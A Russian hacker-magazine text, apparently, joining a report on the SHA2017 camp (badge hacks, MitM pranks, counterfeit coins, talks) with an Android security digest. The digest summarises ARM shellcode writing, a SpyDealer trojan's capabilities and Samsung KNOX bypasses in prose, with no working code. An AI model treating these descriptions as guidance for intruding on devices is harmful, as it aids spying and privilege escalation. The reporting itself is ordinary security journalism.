ВЗЛОМ БЕЙДЖЕЙ
От дель ного  упо мина ния  зас лужива ют  офи циаль ные  бей джи  ивен та.
Как  обыч но  выг лядят  бей джи  на  мероп риятиях  и  кон ферен циях?  Кусок
залами ниро ван ного кар тона на шнур ке. Как выг лядели бей джи на SHA2017?
Пол ноцен ное  элек трон ное  устрой ство  с  E  Ink  дис пле ем  раз решени ем

 пик селей, шестью ярки ми RGB‐све тоди ода ми и модулем Wi‐Fi.296✕128
Что  каса ется соф твер ной сто роны  устрой ства,  то,  кро ме про шив ки, бей‐ 

джи ком плек товались собс твен ным репози тори ем Hatchery с при ложе ниями,
написан ными на MicroPython, — ста вят ся они в пару кли ков. Посети тели быс‐ 
тро соз дали при ложе ния, показы вающие прог ноз погоды на тер ритории кем‐ 
па, рас писание док ладов на основных пло щад ках и тем перату ру сауны в фин‐ 
ской дерев не.

Бей джи SHA2017

Не  обош лось  и  без  взло мов.  Так  как  добав лять  при ложе ния  в  репози торий
мог кто угод но, то в него и ста ли заг ружать вре донос ное ПО (обыч но с наз‐ 
вани ями вро де ASCII Porn — ну как тут не клик нуть?). А ата ковав спе циаль ную
стан цию  для  переп рошив ки  бей джей,  умель цы  замени ли  род ную  про шив ку
собс твен ной,  которая  выводи ла  на  экран  над пись  STILL  PWNED  ANYWAY
и прев ращала устрой ство в кир пич.

ВЗЛОМ ВСЕГО ОСТАЛЬНОГО
Еще до начала ивен та, по тек сту на офи циаль ном сай те, ста нови лось понят‐ 
но, что в под давки ник то играть не будет, и в рекомен даци ях «что луч ше оста‐ 
вить дома» зна чились смар тфо ны (впро чем, эту рекомен дацию все успешно
про игно риро вали),  а  на  ноут буках  совето вали  оста вить  толь ко  те  дан ные,
которы ми ты готов поделить ся с Wikileaks.

Ло мали на кем пе всё, до чего мог ли дотянуть ся. Так, на одном из финаль‐ 
ных док ладов чле ны коман ды NOC (Network Operations Center) сооб щили, что
они уже получи ли око ло 380 жалоб на абуз и что ожи дают в бли жай шие дни
получить еще боль ше таких имей лов. Прав да, боль шинс тво этих писем были
авто мати чес кими  и,  ско рее  все го,  выз ваны  круп номас штаб ными  ска ниро‐ 
вани ями пор тов. Ведь труд но усто ять, ког да с помощью zmap на гигабит ном
канале мож но  прос каниро вать  весь  пуб личный диапа зон  IPv4  за  сорок  пять
минут (для одно го выб ранно го пор та).

Стра дали не толь ко внеш ние ресур сы, но и внут ренние. Хакеры из италь‐ 
янской  дерев ни  успешно  про вели  MitM‐ата ку  на  канал  переда чи  дан ных,
отре вер сили  про токол  и  в  ито ге  перек расили  све тоди одный  логотип
SHA2017 в цен тре кем па в цве та италь янско го фла га — такой вот дефейс.

Ту же ата ку италь янцы про вели и на све товую инди кацию, уста нов ленную
на каж дом datenklo. За эти милые шалос ти коман да NOC на зак лючитель ном
док ладе  переда вала  им  горячий  при вет.  И  пока  италь янцы  раз вле кались
с инфраструк турой кем па, в бель гийском тен те ломали Тес лы (речь об авто‐ 
моби лях).

Впро чем,  некото рые  тех ники  взло ма  при менять  все  же  не  рекомен‐ 
довалось. К при меру, не сто ит выдавать себя за одну из сущес тву ющих точек
дос тупа.  По  сви детель ству  оче вид ца,  у  сисад минов  было  обо рудо вание
для  три ангу ляции  Wi‐Fi,  поэто му  они  быс трень ко  находи ли  про каз ников
и боль но били им крим пером по паль цам.

Поз же эту над пись взло мают италь янцы и выведут на нее цве та сво его
фла га

ХАКЕРСКИЕ СОСТЯЗАНИЯ
Раз вле чений  было  пре дос таточ но  не  толь ко  в  сети,  но  и  в  реале.  В  один
из  дней  устро или  гон ки  на  самодель ных  кар тонных  лод ках.  Каж дая  коман да
дол жна была при помощи кар тона и скот ча сде лать лод ку и пре одо леть дис‐ 
танцию  в  двад цать  пять  мет ров.  Уда валось  это  далеко  не  всем,  и  неуди‐ 
витель но — с кар тонны ми‐то вес лами. Зри тели апло диро вали победи телям,
но  еще  более  бур ные  ова ции  сры вал  тот,  чье  суд но  перево рачи валось
и отправ лялось на дно.

Крес ломобиль. Фото с сай та interlogica.it

И  каких  толь ко  средств  перед вижения  я  не  встре чал  на  кем пе!  И  валь яжно
плы вущий  по  грун товой  дороге  трех мес тный  кожаный  диван,  и  ско рос тное
манев ренное мяг кое крес ло, и непонят ное неч то, соб ранное из плас тиковых
ящи ков  из‐под  бутылок.  На  элек три чес кие  лон гбор ды  вни мания  вооб ще,
кажет ся, ник то не обра щал — там это обыч ное дело. А вот несуща яся со ско‐ 
ростью  20  км/ч  по  ноч ному  лагерю  палат ка  про изве ла  нас тоящий  фурор.
Разуме ется, поч ти всем этим тран спор том мож но было управлять уда лен но.
А вот гирос кутеров там не было. Толь ко диваны, толь ко хар дкор!

Эта палат ка с челове ком внут ри раз вивала ско рость до 20 км/ч

Нель зя не вспом нить и про такую раз вле куху, как pixelflood bar. Это све тоди‐ 
одный дис плей раз мером 3,2 на 2,4 м, сто явший в глав ном баре кем па. Его
раз решение сос тавля ло 320 на 240 точек, но в реаль нос ти он сос тоял из нес‐ 
коль ких фраг ментов и был боль ше похож на голову Мик ки Мауса с уша ми, чем
на пря моуголь ник.

Лю бой  человек  мог  управлять  выводи мым  на  этот  экран  изоб ражени ем.
Дос таточ но было отпра вить Telnet‐пакет со строч кой вида PX 42 42 C0FFEEn,
что бы окра сить задан ный пик сель в выб ранный цвет. Пра вила прос тые: один
пакет — один пик сель. При этом с одно го  адре са допус калось  толь ко одно
под клю чение, в которое и нуж но было отправ лять дан ные.

Так  как  пакеты  мог  отправ лять  кто  угод но,  то  зачас тую  изоб ражение
на дис плее отра жало нес конча емую бой ню за мес то на экра не.

За пись ана логич ной баталии с дру гого мероп риятия.

Яс но, что чем шире канал, тем боль ше дан ных мож но отпра вить и тем доль ше
твое  изоб ражение  будет  дер жать ся  на  экра не.  Судя  по  все му,  некото рые
учас тни ки не гну шались исполь зовать бот неты.

3D-ПЕЧАТЬ ПО УМУ
Мно го чего еще было на SHA2017 — все го не перечис лить. А вот чего я поч ти
не  уви дел,  так  это  3D‐прин теров,  которые  на  оте чес твен ных  ивен тах  все
еще  при нято  выс тавлять  напоказ  как  какую‐то  диковин ку.  Здесь,  как  и
положе но  такому  обо рудо ванию,  они  сто яли  в  даль них  углах  и  по‐тихому
что‐то печата ли.

И  раз  уж  речь  заш ла  о  3D‐прин терах,  рас ска жу  еще  одну  бай ку.  Так
как  кемп —  это  неком мерчес кое  мероп риятие,  то  по  гол ланд ским  законам
на нем зап рещено про давать что‐либо за день ги. Но мож но было при нимать
пожер тво вания,  а  в  качес тве  сим волов  за  это  выдава лись  цвет ные  плас‐ 
тиковые  монет ки,  которые  потом  в  баре  мож но  было  обме нять  на  раз ные
пенис тые или горючие жид кости.

Ха кер  из  дерев ни  NeighbourhoodNerds  вос поль зовал ся  этим  и  взло мал
сис тему, напеча тав на 3D‐прин тере свои коины, ана логич ные ори гиналь ным.
Пос ле  успешно  про веден ной  ата ки,  получен ного  PoC  и  выпито го  пива  он
сооб щил об уяз вимос ти орга низа торам (ни один бар мен в ходе ата ки не пос‐ 
тра дал).

•Офи циаль ный сайт кем па
  (

)
•Ви деоза писи  боль шинс тва  выс тупле ний и
на YouTube

  (еще  боль ше  —
по хеш тегу  )

•Офи циаль ный  твит тер  кем па
#sha2017

  (в  дан ный  момент
сайт  не  обновлен  и  выда ет  информа цию
по EMF2016)

•Electromagnetic  Field  (EMF)

  (в  том
чис ле  CCCamp  и  Chaos  Communication
Congress)

•Все  мероп риятия  Chaos  Computer  Club

•Пред про дажа билетов на 34C3

КУДА ЕХАТЬ В СЛЕДУЮЩИЙ РАЗ
Мо гу  пред ста вить,  как  ты,  про читав  все  это,  осоз нал,  что  сле дующий  кемп
толь ко  через  четыре  года,  и  у  тебя  сле зы  на  гла за  навер нулись.  Но  не
пережи вай.  Уже  в  августе  будуще го  года  в  Великоб ритании  сос тоит ся  EM‐
F2018, а через два года в Гер мании прой дет оче ред ной CCCamp 2019. Гол‐ 
ланд ские  кем пы  и  CCCamp  про водят ся  раз  в  четыре  года,  но  со  сдви гом
в  два  года —  как  зим няя  и  лет няя Олим пиада.  А  EMF про ходит  каж дые  два
года, но по чет ным годам. И получа ется, что каж дый год быва ет один из этих
кем пов и они никог да не пересе кают ся.

Ну и помимо кем пов, всег да оста ется зна мени тый DEF CON или не менее
зна мени тый, но зна читель но более удоб ный геог рафичес ки Chaos Communi‐
cation  Congress.  Он  в  оче ред ной  раз  прой дет  в  кон це  декаб ря  это го  года
в Гер мании. Пред про дажа билетов на него уже откры та.

На  SHA2017  ездят  не  за  док ладами,  но  раз  уж  они  там  были,  то  почему  бы
не пос лушать? Вот под борка из док ладов, которые прив лекли мое вни мание
(все го их нес коль ко десят ков).

Этот ввод ный вор кшоп по сетям Kirils Solovjovs про водит уже не в пер вый раз,
и каж дый раз собира ется пол ный зал. В док ладе речь шла об упо мина ющей ся
в каж дой вто рой статье ][ модели OSI и основных сетевых про токо лах: как они
друг  с  дру гом  соот носят ся,  из  чего  сос тоят  и  как  исполь зуют ся.  Матерым
сисад минам,  которые  на  память  зна ют  битовые  фла ги  про токо ла  TCP,  этот
вор кшоп  бес полезен,  но  осталь ные  люди,  инте ресу ющиеся  сетями,  навер‐ 
няка смо гут почер пнуть из него немало цен ной информа ции и запол нить про‐ 
белы в сво ем понима нии сетево го сте ка.

В этом обзорном док ладе фин ский иссле дова тель безопас ности Юха Нур ми
рас ска зыва ет  об  основных  методах  деано ними зации  в  сети  Tor.  Сре ди
них — бол тли вость поль зовате лей, ата ки на конеч ного поль зовате ля  (к при‐ 
меру,  0day  JS‐спло иты),  ата ки  по  вре мени  и  ата ки  на  сер веры,  в  час тнос ти
выз ванные ошиб ками в их кон фигура ции (спой лер: основные при чины деано‐ 
ними зации свя заны имен но с ошиб ками поль зовате лей).

За бав ный док лад, который про читал Мэтью Скроггс — млад ший науч ный сот‐ 
рудник  из  Уни вер ситет ско го  кол леджа Лон дона. Дол жно быть,  у  него  в  уни‐ 
вер ситете  очень  мно го  сво бод ного  вре мени,  потому  что  рас ска зывал  он,
как при менить теорию гра фов для наис корей шего про хож дения уров ня в игре
Pac‐Man.  А  пос ле  доказал,  что  игра  Asteroids  на  самом  деле  про исхо дит
в четырех изме рени ях, — без шуток.

В этом док ладе Тал Маламед рас ска зал об уяз вимос тях Bluetooth‐устрой ств
с  низ ким  энер гопот ребле нием  (BLE),  которые  пов семес тно  исполь зуют ся
в  IoT  и  мобиль ных  устрой ствах.  Экс плу ати руя  эти  уяз вимос ти,  мож но  мол ча
перех ватывать тра фик или даже делать в него инъ екции. Пря мо на сце не Тал
про вел MitM‐ата ку, внед рив в тра фик, иду щий от фит нес‐брас лета, фей ковые
дан ные,  так  что  при ложе ние  на  телефо не  показа ло  доволь но  вну шитель ный
про бег  в  восемь  тысяч  километ ров.  Кста ти,  обо рудо вание  для  про веде ния
этой ата ки мож но заказать пря мо с «Али экс прес са» за 2,7 дол лара. Вклю чая
дос тавку.

В  отли чие  от  пре дыду щего,  этот  док лад  уже  более  спе циали зиро ван ный.
В  нем  Вин сент  Оссе ваар де  рас ска зыва ет  об  исполь зующих ся  на  мор ских
судах  устрой ствах  навига ции  и  управле ния,  ана лизи руя  уяз вимос ти  которых
мож но прий ти в ужас. Да что уж говорить, если для ком муника ции некото рых
девай сов на суд не исполь зует ся незащи щен ная Wi‐Fi‐сеть. Вин сент показал,
как лег ко мож но получать информа цию с дру гих судов, под делывать переда‐ 
ваемую информа цию или даже перех ватывать управле ние над ними, под клю‐ 
чив шись к сис теме авто пило та. А внед рив собс твен ный тра фик в ради оэфир
сис темы AIS (automatic identification system), мож но раз местить в озе ре Мар‐ 
кермер  ави ано сец  USS  Nimitz  или  с  помощью  вир туаль ных  буев  вывес ти
на экран всех кораб лей в окру ге бук вы SHA.

И  напос ледок  самый  инте рес ный  док лад  SHA2017.  На  самом  деле  даже
не  важ но,  кто  его  читал. В  нем будут  чле ны, мно го  чле нов.  Чле ны боль шие,
малень кие,  8‐бит ные,  чле ны,  рас тущие  на  деревь ях.  Чле ны‐полити ки,  чле‐ 
ны‐дик таторы, кар тины, на которых нарисо ваны чле ны, и кар тины, нарисо ван‐ 
ные  чле нами.  При  прос мотре  член  вам  заг рузят  даже  в  уши!  Небезо пас но
для работы, да и для пси хики тоже. И не говори потом, что я тебя не пре дуп‐ 
реждал!

До встре чи на тусе!

https://vimeo.com/92827556
https://sha2017.org/
https://media.ccc.de/b/conferences/sha2017
https://www.youtube.com/channel/UCHmPMdU0O9P_W6I1hNyvBIQ
https://twitter.com/sha2017camp
https://twitter.com/search?q=%23sha2017
https://www.emfcamp.org/
https://events.ccc.de/
https://tickets.events.ccc.de/34c3/intro/
https://www.youtube.com/watch?v=HtNvcaqJHPw
https://www.youtube.com/watch?v=eFejHPwrNAY
https://www.youtube.com/watch?v=uP001KVkpjE
https://www.youtube.com/watch?v=5xJ_xeNJ3WU
https://www.youtube.com/watch?v=J4lYl4KIWgc
https://www.youtube.com/watch?v=RcSRVI4zVWA
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X‐MOBILE

В  этом  выпус ке:  рас пре делен ные  мес сен дже ры,  которые
нель зя  заб локиро вать,  кру тое  вве дение  в  написа ние
шелл‐кодов  под  ARM  и  все объ емлю щее  иссле дова ние
безопас ности  заг рузчи ков  смар тфо нов.  А  так же:  раз бор
тро яна SpyDealer,  спо соб ного  красть дан ные из 40 сто рон‐ 
них при ложе ний, отче ты раз работ чиков Android об уси лении
безопас ности плат формы и мно жес тво матери алов для раз‐ 
работ чиков.

ПРИЛОЖЕНИЯ

Ring

В  мире,  где  слеж ка  за  людь ми  —  обыч ное  дело  и  для  ком паний,  и  для
государс тва,  прос то  не  мог ло  не  появить ся  при ложе ние,  подоб ное  .
В двух сло вах это децен тра лизо ван ный защищен ный мес сен джер с под дер‐ 
жкой голосо вых и виде озвонков.

Ring

«Децен тра лизо ван ный»  зна чит,  что  Ring  не  опи рает ся  в  сво ей  работе
на какой‐то один сер вер, как дру гие мес сен дже ры. Для обна руже ния дру гих
учас тни ков  сети  он  исполь зует  рас пре делен ную  высокоп роиз водитель ную
хеш‐таб лицу OpenDHT, которая поз воля ет свя зать або нен тов на манер P2P‐
сетей, ког да информа ция доходит до учас тни ков сети не через цен траль ный
сер вер, а через цепоч ку дру гих учас тни ков. «Защищен ный» озна чает, что Ring
исполь зует  end‐to‐end шиф рование  всех  видов  ком муника ции.  Так  же  как  в
сек ретных чатах Telegram или в Signal/WhatsApp, содер жимое перепис ки дос‐ 
тупно толь ко учас тни кам этой перепис ки.

Вмес те обе тех нологии работа ют так: ког да один або нент Ring хочет всту‐ 
пить в беседу с дру гим або нен том, сна чала кли ент находит адрес это го або‐ 
нен та  через  рас пре делен ную  сеть,  затем  уста нав лива ет  с  ним  пря мой
зашиф рован ный канал свя зи и переда ет все дан ные через него.

Все это гаран тиру ет, что учас тни ков Ring нель зя под слу шать, а сам сер вис
нель зя вык лючить, в нем прос то нет еди ной точ ки отка за. С дру гой сто роны,
такая  архи тек тура  поз воля ет  выяс нить  реаль ные  IP‐адре са  собесед ников:
связь  уста нав лива ется  нап рямую,  а  зна чит,  в  логах  про вай деров  ося дет
информа ция, кто и с кем был на свя зи.

Про ект  пол ностью  откры тый.  Все  исходные  коды  в  сво бод ном  дос тупе.
Никакой рек ламы и плат ных фун кций.

Ring

Antox

Еще один мес сен джер, пос тро енный на идее рас пре делен ной зашиф рован‐ 
ной  сети.  Архи тек тура  поч ти  пол ностью  пов торя ет  Ring:  рас пре делен ная
хеш‐таб лица  або нен тов  плюс  пря мое  зашиф рован ное  соеди нение  меж ду
учас тни ками беседы.

Дос тоинс тва  и  проб лемы  те  же:  не  вык лючить,  не  вскрыть  перепис ку,  IP
све тят ся в логах. Одна ко если Ring — это уже хотя бы на сло вах ста биль ное
ПО (вер сия 1.0 Stable выш ла 23 июля),  то   и пос тро енный на его осно ве
кли ент   — аль фа и на сло вах, и на деле. Кли ент нес табиль ный, к падени‐ 
ям и проб лемам надо быть готовым.

Tox
Antox

Tox  —  пол ностью  сво бод ное  ПО  с  нес коль кими  реали заци ями  кли ента
для  раз ных  плат форм,  вклю чая  Windows,  macOS,  Linux,  FreeBSD,  Android
и iOS.

Antox

Syncthing

А это — попыт ка соз дать децен тра лизо ван ный Dropbox. Идея   в том,
что бы дать поль зовате лям воз можность син хро низи ровать пап ки меж ду раз‐ 
ными устрой ства ми без сер вера.

Syncthing

Как и опи сан ные выше мес сен дже ры, Syncthing исполь зует рас пре делен‐ 
ную  хеш‐таб лицу  для  поис ка  узлов.  Каж дый  узел  получа ет  уни каль ный  ID,
с  помощью  которо го  к  нему  мож но  под клю чить ся  и  начать  син хро низа цию
папок меж ду дву мя  устрой ства ми  (если  узел раз решил дос туп, разуме ется).
Все дан ные переда ются нап рямую от узла к узлу в зашиф рован ном виде.

Кли енты  дос тупны  для  Android,  Windows,  macOS  и  Linux.  Так  что  мож но
орга низо вать  син хро низа цию  прак тичес ки  с  любыми  сво ими  устрой ства ми
и устрой ства ми сво их родс твен ников. Дос туп к пап кам мож но кон тро лиро вать
инди виду аль но,  фот ки,  нап ример,  рас шарить  со  все ми  родс твен никами,
а пароли и клю чи шиф рования — толь ко со сво ими устрой ства ми.

Syncthing — откры тое при ложе ние, которое мож но ска чать не толь ко в Play
Store, но и в  . Никакой пла ты, никакой рек ламы.F‐Droid

Syncthing

ИНСТРУМЕНТЫ

Эму лятор для запус ка кода smali

 — эму лятор для запус ка кода smali (дизас сем бли рован ный
код  Dalvik,  в  который  ком пилиру ются  все  при ложе ния  для  Android).  Так  же
как  , может исполь зовать ся для деоб фуска ции зашиф рован ных строк.

TinySmaliEmulator

Simplify

ПОЧИТАТЬ

Ре зуль таты ана лиза кода опе раци онной сис темы Tizen

 — отчет о резуль татах ана лиза опе‐ 
раци онной сис темы Tizen  с  помощью ста тичес кого  ана лиза тора PVS‐Studio.
Автор про ана лизи ровал 3,3% кода Tizen и нашел в нем 900 серь езных оши‐ 
бок.  Умно жив  900  на  30,  он  при шел  к  выводу,  что,  если  про ана лизи ровать
весь исходный код с помощью PVS‐Studio, удас тся най ти не менее 27 тысяч
оши бок.  .

27 000 errors in the Tizen operating system

На рус ском
Вот наибо лее инте рес ные фраг менты кода.

• Ошиб ка срав нения:

return m_len < m_len;

• За бытый унар ный опе ратор (дол жно быть *focus_unit):

int *focus_unit = (int *)data;

if (focus_unit == NULL || focus_unit < 0) {

    ...

}

• Неб режное исполь зование фун кции алло кации памяти в цик ле:

while (1) {

    char *buffer = alloca(size);

    ...

}

• Неп равиль ное  исполь зование  фун кции  memset  (в  дан ном  слу чае  дли на
типа дан ных gboolean — четыре бай та, а memset опе риру ет бай тами):

static gboolean req_id_used[BT_REQUEST_ID_RANGE_MAX];

...

memset(req_id_used, 0x00, BT_REQUEST_ID_RANGE_MAX);

• Пов торное прис ваива ние зна чений:

_focused_ic = context_scim;

_focused_ic = old_focused;

• Иден тичные дей ствия:

if (mouse_info.pressed == false) {

    return ECORE_CALLBACK_RENEW;

}

return ECORE_CALLBACK_RENEW;

А  так же:  разыме нова ние  null‐ука зате лей,  про вер ки  усло вий,  которые  всег да
воз вра щают true/false, некор рек тное исполь зование printf(), ошиб ки выделе‐ 
ния/осво бож дения памяти, исполь зование неини циали зиро ван ных перемен‐ 
ных, перепол нения буфера, утеч ки памяти, бес смыс ленная про вер ка воз вра‐ 
щаемо го с помощью new объ екта на null, запись в read‐only‐память и мно жес‐ 
тво дру гих глу пых оши бок.

Treble и раз деление Android на две незави симые час ти

 — пост раз работ чиков Android об ини циати ве Treble, которая
зак люча ется  в  раз делении  Android  на  две  незави симые  час ти:  одна  обес‐ 
печива ет  связь  с  железом  (ядро  Linux,  драй веры  и  дру гие  низ коуров невые
ком понен ты  ОС),  а  дру гая  вклю чает  в  себя  саму  опе раци онную  сис тему
Android.

Shut the HAL Up

Мы   о Treble как решении проб лемы обновле ний и фраг мента‐ 
ции  Android.  Одна ко  раз работ чики  Android  заяв ляют,  что  Treble  так же  спо‐ 
собен решить мно гие проб лемы безопас ности. Все дело в том, что в рам ках
Treble пла ниру ется не толь ко раз делить ОС на две час ти, но и реор ганизо вать
завися щие  от  плат формы  ком понен ты ОС,  каж дый  из  которых  теперь  будет
работать  в  жес тко  изо лиро ван ной  песоч нице  и  под держи вать  связь  с  ком‐ 
понен тами ОС через  типизи рован ные  каналы с про вер кой пол номочий  (для
это го в Binder вне сены соот ветс тву ющие прав ки).

уже писали

Но вый обще сис темный филь тр seccomp в Android O

 — еще один пост раз работ чиков Android. На этот
раз о новом обще сис темном филь тре seccomp в Android O.
Seccomp filter  in Android O

Seccomp — это тех нология ядра Linux, которая поз воля ет огра ничить спи‐ 
сок  дос тупных  при ложе нию  (и  в  пер спек тиве  опас ных)  сис темных  вызовов.
Нап ример, зап ретить при ложе нию исполь зовать сис темный вызов execve, что
час то  дела ют  экс пло иты,  или  заб локиро вать  сис темный  вызов  listen,
с помощью которо го мож но повесить на сетевой порт бэк дор.

Тех нология исполь зует ся в Android уже дос таточ но дав но, но при меня ется
в  основном  к  сис темным  ком понен там.  Теперь  раз работ чики  решили  внед‐ 
рить  seccomp‐филь тр в  zygote,  про цесс,  который порож дает про цес сы всех
уста нов ленных в сис тему при ложе ний.

Они про ана лизи рова ли, какие сис темные вызовы нуж ны для заг рузки ОС
и работы боль шинс тва при ложе ний, а затем отсекли лиш ние. В ито ге в чер‐ 
ный  спи сок  попали  17  сис темных  вызовов
из 271 на ARM64 и 70 из 364 на ARM. В спис ке ока зал ся и сис темный вызов
для под клю чения  swap‐раз дела,  так  что,  воз можно,  в Android O при ложе ния
для акти вации сво па не заведут ся.

С таким сооб щени ем пада ет при ложе ние, попытав шееся выпол нить
нераз решен ный сис темный вызов

Вве дение в раз работ ку шелл‑кодов под ARM
  —  быс трое  вве дение  в  раз работ ку

шелл‐кода  для  плат формы  ARM.  Статья  неболь шая,  но  очень  наг лядная.
Автор  рас ска зыва ет,  как  выпол нять  сис темные  вызовы  Linux,  как  выяс нить,
какие  сис темные  вызовы  нуж ны  для  тех  или  иных  опе раций,  как  изба вить
шелл‐код от null‐бай тов и пре обра зовать его в стро ку.

Introduction  to  writing  ARM  shellcode

Ре комен дуем так же про читать   на язы ке ассем бле‐ 
ра для ARM от тех же авто ров. Очень прос той в понима нии и наг лядный гайд.

вве дение в раз работ ку

Боль шое иссле дова ние безопас ности заг рузчи ков смар тфо нов

 — боль шое иссле‐ 
дова ние безопас ности  заг рузчи ков смар тфо нов,  в  ходе  которо го было най‐ 
дено  пять  ранее  неиз вес тных  уяз вимос тей. Документ  содер жит мас су  инте‐ 
рес ной информа ции, о которой сто ит знать любому, кто так или ина че свя зан
с IT Security:

BootStomp: On the Security of Bootloaders in Mobile Devices

прин ципы работы Trusted Execution Environment (TEE) в сов ремен ных смар‐ 
тфо нах;

•

по нятие  ARM  Exception  Levels,  опре деля ющее  кон текст  исполне ния  кода
(от  наиме нее  при виле гиро ван ного  EL1  до  EL3,  в  котором  работа ют
началь ный заг рузчик и опе раци онная сис тема TEE);

•

от личия сов ремен ных заг рузчи ков смар тфо нов от тра дици онных заг рузчи‐ 
ков ПК;

•

прин ципы реали зации Trusted Boot в заг рузчи ках и Android;•
ре али зация механиз ма раз бло киро вания заг рузчи ка;•
срав нение  заг рузчи ков  Qualcomm,  HiSilicon  (Huawei),  MediaTek  и  NVIDIA
(заг рузчи ки HiSilicon и MediaTek очень тол сты, работа ют с мак сималь ными
при виле гиями и вклю чают в себя мас су кода, который обыч но рас полага‐ 
ется в заг рузчи ках, про шитых в ROM).

•

Ре али зация Trusted Boot сог ласно спе цифи каци ям ARM и Google

 — резуль таты иссле‐ 
дова ния  тро яна  SpyDealer,  который  спо собен  красть  дан ные  40  раз личных
при ложе ний (вклю чая Facebook, WhatsApp, Skype, Line, Viber, Telegram и Fire‐
fox). Прой дем ся по наибо лее инте рес ным момен там.

SpyDealer:  Android  Trojan Spying on More Than 40 Apps

Для получе ния дан ных при ложе ния тро ян исполь зует сра зу нес коль ко тех‐ 
ник,  в  том  чис ле  root‐дос туп  (с  помощью  инс тру мен та  Baidu  Easy  Root)
и Android Accessibility Service.

•

Тро ян  уме ет  скрыт но  отве чать  на  звон ки  с  задан ного  номера,  поз воляя
таким  обра зом  под слу шивать  раз говоры,  прос то  поз вонив  на  телефон
жер твы.

•

Уме ет  записы вать  звон ки,  делать  сним ки  и  виде оза писи  фрон таль ной
и  зад ней  камера ми,  отсле живать  переме щения  устрой ства,  сни мать
скрин шоты.

•

Ко пиру ет себя в сис темный каталог, что бы избе жать уда ления.•
По луча ет коман ды от уда лен ного сер вера сра зу тре мя спо соба ми: слу шая
коман ды на пор тах TCP и UDP, самос тоятель но под клю чаясь к уда лен ному
сер веру или через SMS.

•

Тро ян  реали зует  свой  собс твен ный  про токол  поверх  UDP,  который  раз‐ 
бива ет  дан ные  на  неболь шие  бло ки  и  отправ ляет  каж дый  из  них  по  три
раза.  Сер вер  собира ет  их  воеди но,  сле дуя  спе циаль ным  заголов кам
в начале каж дого бло ка.

•

Для сбо ра дан ных из сто рон них при ложе ний SpyDealer исполь зует натив‐ 
ное  при ложе ние  DealApp,  работа ющее  с  пра вами  root.  Оно  нап рямую
чита ет файл базы дан ных при ложе ния.

•

Для извле чения дан ных из при ложе ний, исполь зующих шиф рование, тро ян
полага ется  на  Accessibility  Service,  с  помощью  которо го  незамет но
копиру ет стро ки пря мо из откры того окна при ложе ния.

•

Эф фектив но работа ет толь ко на Android вер сий 2.2–4.4. На более поз дних
вер сиях  может  унес ти  мас су  информа ции,  но  не  может  получить  пра ва
root, дающие дос туп к дан ным сто рон них при ложе ний.

•

Но вые тех ники защиты ядра в смар тфо нах Samsung: KASLR, RKP

и DFI

  —  рас сказ  о  новых  тех никах
защиты ядра в смар тфо нах Samsung (KASLR, RKP — Real‐time kernel protec‐
tion и DFI — Data Flow Integrity) и методах их обхо да для получе ния прав root
на устрой стве.

Defeating  Samsung  KNOX  with  zero  privilege

Ша ги, необ ходимые для эска лации при виле гий в стан дар тном Android
и Samsung

РАЗРАБОТКА ДЛЯ ANDROID

Как авто мати чес ки раз делить при ложе ние на нес коль ко раз ных

APK для раз ных про цес сорных архи тек тур

 — статья о том, как авто мати чес ки
раз делить при ложе ние на нес коль ко раз ных APK для раз ных вер сий Android
и про цес сорных архи тек тур, что бы сни зить раз мер APK.

Decreasing Android app size using split APKs

Все дей ствия выпол няют ся с помощью скрип та gradle и дирек тивы splits,
поз воля ющей делить на осно ве имен катало гов с исходным кодом и дру гой
информа ции.  Так же  статья  пояс няет  нес коль ко  не  сов сем  оче вид ных
вещей —  таких,  нап ример,  как  необ ходимость  уве личи вать  вер сию  каж дого
заг ружа емо го в Play Store APK, нес мотря на  то  что это одна и  та же вер сия
при ложе ния, соб ранная для раз ных архи тек тур.

Прос тые спо собы сок ратить раз мер сво его ито гово го APK-при -

ложе ния

  —  опи сание  спо собов  сок ратить  раз мер
APK‐при ложе ния. В целом советы очень прос тые:
How  to  reduce  APK  size  in  android

возь ми  на  воору жение  ProGuard,  он  без жалос тно  избавля ется  от  неис‐ 
поль зуемо го кода и сок раща ет име на клас сов, методов и полей;

•

нас трой  раз деление  APK  для  раз ных  вер сий  Android  (как  в  пре дыду щей
статье);

•

про гоняй при ложе ние через  ;• ReDex
ис поль зуй ути литу  , что бы изба вить ся от ненуж ных ресур сов;• lint
ис поль зуй gradle‐дирек тиву shrinkResources для уда ления неис поль зуемых
ресур сов;

•

пе рехо ди на век торные икон ки;•
уда ли любые биб лиоте ки для отладки из финаль ного при ложе ния;•
за мени изоб ражения в фор матах PNG и JPG на WebP;•
ис поль зуй  опти миза тор    или    для  сок ращения  раз мера
PNG.

• TinyPNG OptiPNG

Срав нение про изво дитель нос ти при ложе ния при исполь зовании

схо жих язы ковых конс трук ций в Kotlin и Java

 —  статья  про веря ет  выводы,  сде лан ные
авто ром серии ста тей Kotlin’s hidden costs, которые мы под робно раз бирали
в прош лом выпус ке. Резуль тат:

Kotlin’s  hidden  costs — Benchmarks

1. Лям бды  Kotlin  быс трее  сво его  ана лога  в  Java  8  на  30%  (незави симо
от исполь зования клю чево го сло ва inline).

2. Объ екты‐ком пань оны  (companion  object)  не  соз дают  никако го  овер хеда,
а  дос туп  к  ним  про исхо дит  даже  быс трее,  чем  к  ста тичес ким  полям
и методам в Java.

3. Вло жен ные  фун кции  не  соз дают  овер хеда,  они  даже  нем ного  быс трее
обыч ных.

4. Пов семес тные  про вер ки  на  null  не  соз дают  овер хеда,  код  получа ется
более быс трым, чем код на Java.

5. Пе реда ча  мас сива  как  аргу мен та  фун кции,  ожи дающей  неоп ределен ное
чис ло  аргу мен тов  (vararg),  дей стви тель но  замед ляет  исполне ние  кода
в два раза.

6. Де лега ты работа ют на 10% мед ленней сво ей наибо лее эффектив ной эму‐ 
ляции на язы ке Java.

7. Ско рость  про хода  по  диапа зону  (range)  не  зависит  от  того,  вынесен  он
в отдель ную перемен ную или нет.

8. Вы несен ный в кон стан ту range все го на 3% быс трее ана лога в коде.
9. Конс трук ция    в  три  раза  быс трее  конс‐ 
трук ции  .

for (it in 1..10) { ... }
(1..10).forEach { ... }

Гайд по соп рограм мам, появив шимся в Kotlin 1.1

 — одна из луч ших ста тей о соп рограм мах, появив шихся
в  Kotlin  1.1.  Соп рограм мы  пред став ляют  собой  сво его  рода  лег ковес ные
потоки, соз дание и унич тожение которых не сто ит ничего. Статья рас ска зыва‐ 
ет,  как  при  помощи  соп рограмм  реали зовать  пат терн  async/await  на  манер
C#/Python,  а  так же  исполь зовать  каналы  в  сти ле  Go  для  обме на  дан ными
меж ду соп рограм мами.

Kotlin coroutines guide

Крат кий рас сказ о фун кци ях Kotlin, облегча ющих раз работ ку

